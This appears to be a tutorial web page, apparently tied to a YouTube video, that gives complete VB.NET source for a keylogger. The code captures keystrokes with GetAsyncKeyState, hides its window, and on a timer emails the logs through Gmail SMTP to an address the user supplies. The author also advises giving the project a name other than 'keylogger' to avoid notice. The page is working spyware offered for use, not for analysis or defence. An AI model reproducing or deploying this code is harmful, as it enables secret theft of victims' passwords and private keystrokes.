Hello youtube 2 day i will be showing you how to make a key logger with vb2012

what you will need is:
Microsoft Visual Studio 2012 Express or full

lets start then
open Microsoft Visual Studio 2012
make a new project 
nake it any thing you like but not keylogger
add 2 timers 
1 richtextbox
all code will be below the video

please rate comment and subscribe!!

And visit our website
www.dimz.co.uk
Fracebook:
http://www.facebook.com/AnonDimz
Twitter:
https://twitter.com/anondimz 


The Code================================================================

Option Strict On

Imports System.Net.Mail

Public Class Form1
    Dim result As Integer
    Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Int32) As Int16
    Private Sub Timer1_Tick(sender As Object, e As EventArgs) Handles Timer1.Tick
        Dim result As Integer
        Dim key As String
        Dim i As Integer
        For i = 2 To 90
            result = 0
            result = GetAsyncKeyState(i)
            If result = -32767 Then
                key = Chr(i)
                If i = 13 Then key = vbNewLine
                Exit For

            End If
        Next i
        If key <> Nothing Then
            If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
                RichTextBox1.Text &= key
            Else
                RichTextBox1.Text &= key.ToLower

            End If
        End If

        If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "Z" Then
            Me.Show()
        End If

    End Sub

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load

    End Sub


    Private Sub Timer2_Tick(sender As Object, e As EventArgs) Handles Timer2.Tick
        Dim MyMailMessage As New MailMessage()
        Try

        Catch ex As Exception

        End Try
        MyMailMessage.From = New MailAddress("enter your email here")
        MyMailMessage.To.Add("enter your email here")
        MyMailMessage.Subject = "the logs"
        MyMailMessage.Body = RichTextBox1.Text
        Dim smtp As New SmtpClient("smtp.gmail.com")
        smtp.Port = 587
        smtp.EnableSsl = True
        smtp.Credentials = New System.Net.NetworkCredential("enter your email here", "enter your password for the email")
        smtp.Send(MyMailMessage)
        RichTextBox1.Text = ""
    End Sub
End Class

            

Download the the project
Click here

 


Comments




Leave a Reply